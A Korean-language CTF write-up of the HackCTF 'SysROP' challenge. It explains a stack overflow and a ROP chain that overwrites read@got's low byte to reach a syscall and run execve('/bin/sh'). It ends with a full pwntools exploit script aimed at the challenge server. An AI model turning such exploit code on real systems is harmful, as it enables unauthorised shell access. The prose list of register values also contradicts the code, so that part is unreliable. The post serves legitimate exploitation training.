[HackCTF] SysROP
System/PWNABLE

[HackCTF] SysROP

728x90

checksec

64bit

 

Pseudo Code

read함수를 통해 buf변수에 0x78byte 입력받음 

buf 변수는 0x10만큼 할당받았기 때문에 OVERFLOW 취약성이 발생

>> 0x10(16) + 8(SFP) 만큼 채우면 RET 값을 덮어 쓸 수 있을 것

main함수는 text파일로 쓰여졌으며 0x4005f2에 저장되어있다.

Payload

/bin/sh

"/bin/sh"이 없기 때문에 read함수를 통해 써야한다

.data = 0x601030

.bss = 0x601040

데이터 영역에 "/bin/sh"을 덮어쓴다.

 

gadget

read함수를 사용해 "/bin/sh" 문자열을 덮기 위해 pop rdx ; pop rdi ; pop rsi ; ret ; 가젯을 찾는다(이유:리눅스 64bit 환경에서의 인자 전달 순서)

전의 문제들과 같이 "int 0x80"가젯을 찾아 사용하려 했지만 현재 파일에는 int 0x80 가젯이 존재하지 않는다. 
따라서,  read함수내에서 발견한 syscall (가젯)을 사용하도록 한다.

pop rax ; pop rdx ; pop rdi ; pop rsi ; ret ; 가젯 = 0x4005ea

execve()함수를 실행할 때 사용한다. rax레지스터에는 syscall을 하도록 하고 나머지 레지스터들에는 execve의 인자들이 전달되도록 한다.

 

syscall

https://doongdangdoongdangdong.tistory.com/48?category=869864

vsyscall 영역에서도 syscall ; ret ; 을 찾을 수 있지만 커널의 boot option이 emulate로 설정되어 있어 이를 사용할 경우 ERROR가 발생한다.

sysrop 파일에서의 read함수 disassemble

syscall = read + 5

문제 파일을 다운로드 받을 때 같이 다운로드 된 라이브러리 파일에서 read함수를 열어 확인해보면 syscall 가젯이 있음 >> 최하위 1바이트 = "\x5e"

 

함수들의 하위 3바이트는 offset을 나타내며, offset은 항상 일정하다는 점을 활용한다.

 

exploit

RAX : 0x3b (execve())

execve("/bin/sh", NULL, NULL)

RDX: "/bin/sh"저장된 주소(=data)

RDI: 0

RSI: 0

from pwn import *
context.log_level='debug'
p=remote("ctf.j0n9hyun.xyz",3024)
elf=ELF('./sysrop')

binsh="/bin/sh\x00"
data = 0x601030

pppr = 0x4005eb
ppppr = 0x4005ea
read_plt = elf.plt['read']
read_got = elf.got['read']
main = 0x4005f2

pl = "A"*(0x10 + 8)
pl += p64(pppr)
pl += p64(len(binsh))
pl += p64(0)
pl += p64(data)
pl += p64(read_plt)
pl += p64(main)

p.sendline(pl)
p.send(binsh)

pl = "A"*(0x10 + 8)
pl += p64(pppr)
pl += p64(1)
pl += p64(0)
pl += p64(read_got)
pl += p64(read_plt)

pl += p64(ppppr)
pl += p64(0x3b)
pl += p64(0)
pl += p64(data)
pl += p64(0)
pl += p64(read_plt)

p.sendline(pl)
p.send("\x5e")
p.interactive()

!성공!

context.log_level = 'debug'를 지우면 EOF를 만나는 ERROR가 발생해 왜인지 찾아봤더니 디버깅 속도가 너무 느리거나 빠른 경우 데이터를 제대로 입력받지 못해 디버깅이 제대로 이루어지지 않을 수 있다고 한다. 그래서 데이터를 send하고 난 후 sleep을 넣어 속도를 조정해준다.

 

read@plt를 호출하면서 read@got가 호출되게 되는데 read@got의 마지막 바이트(offset)을 "\x5e"로 덮어쓰면서 read@plt를 호출했을 때 syscall이 호출되도록 한다.

 

 

 

 

SMALL

'System > PWNABLE' 카테고리의 다른 글

[HackCTF] RTC  (0) 2020.08.23
baby1  (0) 2020.08.23
[HackCTF] look at me  (0) 2020.08.02
gets_  (0) 2020.08.01
[ROP Emporium] write4  (0) 2020.07.19